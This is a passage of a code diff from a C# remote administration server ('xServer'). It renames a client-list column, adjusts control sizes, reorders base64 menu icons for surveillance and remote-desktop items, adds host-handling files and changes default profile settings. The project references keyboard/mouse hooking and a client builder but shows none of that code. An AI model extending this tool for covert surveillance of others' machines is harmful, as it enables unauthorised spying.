             this.ctxtVisitWebsite.Text = "Visit Website";
             this.ctxtVisitWebsite.Click += new System.EventHandler(this.ctxtVisitWebsite_Click);
             // 
@@ -338,7 +338,7 @@ namespace xServer.Forms
             // 
             this.ctxtShowMessagebox.Image = ((System.Drawing.Image)(resources.GetObject("ctxtShowMessagebox.Image")));
             this.ctxtShowMessagebox.Name = "ctxtShowMessagebox";
-            this.ctxtShowMessagebox.Size = new System.Drawing.Size(170, 22);
+            this.ctxtShowMessagebox.Size = new System.Drawing.Size(171, 22);
             this.ctxtShowMessagebox.Text = "Show Messagebox";
             this.ctxtShowMessagebox.Click += new System.EventHandler(this.ctxtShowMessagebox_Click);
             // 
@@ -355,7 +355,7 @@ namespace xServer.Forms
             // botListen
             // 
             this.botListen.Name = "botListen";
-            this.botListen.Size = new System.Drawing.Size(86, 17);
+            this.botListen.Size = new System.Drawing.Size(87, 17);
             this.botListen.Text = "Listening: False";
             // 
             // imgFlags
@@ -625,7 +625,7 @@ namespace xServer.Forms
             | System.Windows.Forms.AnchorStyles.Right)));
             this.lstClients.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
             this.hIP,
-            this.hSocket,
+            this.hTag,
             this.hUserPC,
             this.hVersion,
             this.hStatus,
@@ -651,9 +651,9 @@ namespace xServer.Forms
             this.hIP.Text = "IP Address";
             this.hIP.Width = 112;
             // 
-            // hSocket
+            // hTag
             // 
-            this.hSocket.Text = "Socket";
+            this.hTag.Text = "Tag";
             // 
             // hUserPC
             // 
@@ -771,7 +771,7 @@ namespace xServer.Forms
         private System.Windows.Forms.ToolStripMenuItem ctxtConnection;
         private System.Windows.Forms.ToolStripMenuItem ctxtReconnect;
         private System.Windows.Forms.ToolStripMenuItem ctxtDisconnect;
-        private System.Windows.Forms.ColumnHeader hSocket;
+        private System.Windows.Forms.ColumnHeader hTag;
         private System.Windows.Forms.StatusStrip botStrip;
         private System.Windows.Forms.ToolStripStatusLabel botListen;
         private System.Windows.Forms.ImageList imgFlags;

Server/Forms/FrmMain.resx

@@ -121,6 +121,21 @@
     <value>117, 17</value>
   </metadata>
   <assembly alias="System.Drawing" name="System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
+  <data name="ctxtConnection.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+    <value>
+        iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m
+        dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAIkSURBVDhPpZFLaxphFIbzD/pzsuiui1LopquuBQUF
+        EQRd6MaVK0XEJmkEwbZaqUWoJkaNjhov41SjRqPjLY63pin1QnXfxdvzDbQkMF2ULt7N8LzPme+cPQD/
+        FcWPzWbzTa1W+8nzPAqFAjiOQzKZRCwWQyQS+XCffVBst9uPGo1GRJIk3N5+gzRdQJJmGLOMp9hsfiAU
+        ChGqIGi1Ws/q9frX2WyG1WqF2mULFaGOMn+JYrmKYvEzhiMJfr+fcAUBlbFcLuUsFl/AU/n42Iujo9c4
+        ODiEx/MK/cEYXq+XcAWBIAjYbrdUXmAymaDEppaquCgKyF9UwOXK6PVvSOQhXEHAlrXZbDCfz+ndExTo
+        l9lUt9sNl8sFh8MBsTeC0+kkXEHANs0EbAej0Q1NFZDN8+CyZaS5Is7TBXS7A9jtdsIVBIlEQhZMp1MM
+        hyP5lzNcCelMEe+rb/Hy4wtck8BmsxGuIIhGo1iv1/L7e73Bn6nJ8zyevHuM/cN9tK/7sFgshCsIwuGw
+        fD4m6Io9pFg5lcdZMof4GYeTOIdWW4TJZCJcQRAIBLDb7eQldjoiEkkqJ7I4ZeXTDKInaVy1RBgMBsIV
+        BD6frxaPxyGKIi1ygRydLp7IIUbFTyzRFJpXXeh0OsIVBCx0sud0rkYwGARfEegpI3kqK7Lc3X2HRqMh
+        9C+C36FNP7VarR2z2Qyj0Qi9Xg+tVgu1Wg2VSjW4zz4o/nuw9wtdEBK3EWw5nwAAAABJRU5ErkJggg==
+</value>
+  </data>
   <data name="ctxtUpdate.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
     <value>
         iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m
@@ -192,19 +207,22 @@
         AP4lrv1yD03M/rpCQQoDqPsJSNb8+jMBmwUAAAAASUVORK5CYII=
 </value>
   </data>
-  <data name="ctxtConnection.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+  <data name="ctxtSystem.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
     <value>
         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
-        dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAIkSURBVDhPpZFLaxphFIbzD/pzsuiui1LopquuBQUF
+        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
-        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
+        uekmi5EktHQkNTWdOhLQgoyhsRxLNgQBS5gBAgqHwy+BA8iRY6itmeXaWqt18fS+b+q0OS+e7Vyc5/t5
-        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
+        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
-        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
+        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
-        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
+        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
-        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
+        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
-        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
+        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
-        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
+        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
-        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
+        0bfSuCZ3FaaF2pE28XBWZAOOiT5/CF5fCLl8CRqNBpzf78cWaZz+dJFK5U1G9C4GseBdRjZXgkqlAud2
-        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
+        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
+        AvcX77X2szDYsr4AAAAASUVORK5CYII=
 </value>
   </data>
   <data name="ctxtSystemInformation.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
@@ -271,22 +289,22 @@
         RU5ErkJggg==
 </value>
   </data>
-  <data name="ctxtSystem.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+  <data name="ctxtSurveillance.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
     <value>
         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
-        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
+        dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKfSURBVDhPpZLdT1JxGMdpa+suWy8XzfUH9D943+yu
-        uekmi5EktHQkNTWdOhLQgoyhsRxLNgQBS5gBAgqHwy+BA8iRY6itmeXaWqt18fS+b+q0OS+e7Vyc5/t5
+        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
-        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
+        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
-        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
+        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
-        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
+        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
-        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
+        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
-        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
+        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
-        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
+        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
-        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
+        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
-        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
+        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
-        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
+        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
-        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
+        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
-        AvcX77X2szDYsr4AAAAASUVORK5CYII=
+        gg==
 </value>
   </data>
   <data name="ctxtRemoteDesktop.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
@@ -322,22 +340,22 @@
         IBvSsn2/dDtiJdSO1XNQ/wBgH9SZbXHbWQAAAABJRU5ErkJggg==
 </value>
   </data>
-  <data name="ctxtSurveillance.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+  <data name="ctxtMiscellaneous.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
     <value>
         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
-        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
+        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
-        q9bWZhfNuVVb0portaKSuzSXmomkx4SpaIkg8qKAyotApUBQKgqHwzmHwzkesJHGaHyDs+l086KXi++e
+        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
-        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
+        3+9851wJgP9SwsX7R9VJMzY2+S1rkO+rGOzlZlLtFxZgktXfm6lgk0lNvD4BsMKV82cmI061GhyLpnOO
-        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
+        wznL0vOprhhnpSYsWcv4eH0C4EtejvDdZkPM1YpjbRH2ZVlU5EzuyNtnaZoQMRuuU0C1z55kdpcnm5x6
-        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
+        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
-        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
+        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
-        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
+        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
-        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
+        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
-        OG6+2kTLUBLL61mJqbBsJIA48aAgI9cjb9JLE8iUp7DFJJDNZhFc40BYSDT1r6GxdxXdk3H4vqQlo8gx
+        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
-        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
+        SSjr3yDLPgxJmdOYovdoD/VdGrRPu9C94KW7yLSHMLm6j+DsFrzhj6jsWoCpbQYKx2tqLmyaQE61CCCb
-        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
+        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
-        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
+        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
-        gg==
+        RUbTVnYU5XL+qLR6RIwcQrbZ/0tpdZdf1EDyB7LktmdG8L5mAAAAAElFTkSuQmCC
 </value>
   </data>
   <data name="ctxtVisitWebsite.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
@@ -377,24 +395,6 @@
         ofiDvAMF+oRo0AP9zAqEWifZ8iOcbTSjRmWD2hSAsI8BzWlIEPH+g5Q2KdTzqILu2Mkbk1BOLeGekyWs
         ocMcRH6dERSnMUZzm/58lH9Cn1BnUbxOEZWvYCluc5ziNMVJRZYgOsht+Ptl+neQ8R04hsvsalKMmgAA
         AABJRU5ErkJggg==
-</value>
-  </data>
-  <data name="ctxtMiscellaneous.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
-    <value>
-        iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m
-        dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAALOSURBVDhPpZHJT1NRFMbrzrD2b3DtnrAyMSERGVMq
-        LdJHaVPoFOC1fZFSIBGxBCiktgxqS8sgULAyqIUiQgjwUCAQkSASw2QYF0SrjZv3+e4ljSR15+JLbu49
-        3+9851wJgP9SwsX7R9VJMzY2+S1rkO+rGOzlZlLtFxZgktXfm6lgk0lNvD4BsMKV82cmI061GhyLpnOO
-        wznL0vOprhhnpSYsWcv4eH0C4EtejvDdZkPM1YpjbRH2ZVlU5EzuyNtnaZoQMRuuU0C1z55kdpcnm5x6
-        ubXPiJ2s24gGAjjTl+BEHIGY4rATjRqHjEIcKR0i4AYF3Pea+doxG+whC7igCbs5d/B7eAw/PW6clmho
-        5LMyI74p8qiZjLIny/wL0HUWCc6JhwjMt8M2xFI6AUQ9rYi6XDhvbMCRUkHNR0z+BeByArUvH1Mb43BO
-        1IEbLMX23WzaOeppw4+WFpzXO3BYIKdGAjgQu2/mpAoWu+emtaE3SaLtVGLx6xzG18cwsNiNjmANZg0M
-        dmQZ9CdICrKLA7kM21mpmFIpUeXoRWnHDHS1Pbyk2F+Iua1pjK4OYXgliF7eC8uAAfYKN3gmT/yBDOxI
-        08EXyPCAa4amOQLn6BoqAvNI5/oFic6nEkLL/Rhc6kX/YgC+uXaw/Tqk217gJb+NGt87qBvD1EREANqW
-        SSjr3yDLPgxJmdOYovdoD/VdGrRPu9C94KW7yLSHMLm6j+DsFrzhj6jsWoCpbQYKx2tqLmyaQE61CCCb
-        jMViV0zNBpXazURLAioU+xlKDy/vomd6E89FPZtYh7IhTM2MmIgAaAICuCxjk/6a0am/Kq0aEnyRT/BG
-        NvBUTPBYjJ/vuOhMANKaEaSZ+4QEQFwaW2uKvKLzUCYWOoIf4B5bg6opgry6V0izBiE1PzllLK5b/zTH
-        RUbTVnYU5XL+qLR6RIwcQrbZ/0tpdZdf1EDyB7LktmdG8L5mAAAAAElFTkSuQmCC
 </value>
   </data>
   <metadata name="botStrip.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
@@ -408,7 +408,7 @@
         AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w
         LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
         ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADY
-        sQAAAk1TRnQBSQFMAgEB+AEAAZgBBwGYAQcBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
+        sQAAAk1TRnQBSQFMAgEB+AEAAaABBwGgAQcBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
         AwABQAMAAbUBAgIAAQEBAAEIBQABQAGtGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHA
         AdwBwAEAAfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANC
         AQADOQEAAYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/

Server/Server.csproj

@@ -68,6 +68,9 @@
     <Compile Include="Controls\DotNetBarTabControl.cs">
       <SubType>Component</SubType>
     </Compile>
+    <Compile Include="Controls\Line.cs">
+      <SubType>Component</SubType>
+    </Compile>
     <Compile Include="Controls\MainMenuEx.cs">
       <SubType>Component</SubType>
     </Compile>
@@ -77,6 +80,7 @@
     <Compile Include="Core\Build\IconInjector.cs" />
     <Compile Include="Core\Helper\FileHelper.cs" />
     <Compile Include="Core\Helper\FormatHelper.cs" />
+    <Compile Include="Core\Helper\HostHelper.cs" />
     <Compile Include="Core\Helper\MouseKeyHook\Hook.cs" />
     <Compile Include="Core\Helper\MouseKeyHook\HotKeys\HotKeyArgs.cs" />
     <Compile Include="Core\Helper\MouseKeyHook\HotKeys\HotKeySet.cs" />
@@ -123,6 +127,7 @@
     <Compile Include="Core\Helper\PlatformHelper.cs" />
     <Compile Include="Core\Helper\RemoteDesktopHelper.cs" />
     <Compile Include="Core\Helper\WindowHelper.cs" />
+    <Compile Include="Core\Utilities\Host.cs" />
     <Compile Include="Core\Utilities\NativeMethods.cs" />
     <Compile Include="Core\Utilities\RemoteDrive.cs" />
     <Compile Include="Core\Networking\Client.cs" />

Server/Settings/ProfileManager.cs

@@ -26,8 +26,7 @@ namespace xServer.Settings
                     XmlNode root = doc.CreateElement("settings");
                     doc.AppendChild(root);
 
-                    root.AppendChild(doc.CreateElement("Hostname"));
+                    root.AppendChild(doc.CreateElement("Hosts"));
-                    root.AppendChild(doc.CreateElement("ListenPort")).InnerText = "4782";
                     root.AppendChild(doc.CreateElement("Password")).InnerText = "1234";
                     root.AppendChild(doc.CreateElement("Delay")).InnerText = "5000";
                     root.AppendChild(doc.CreateElement("Mutex"));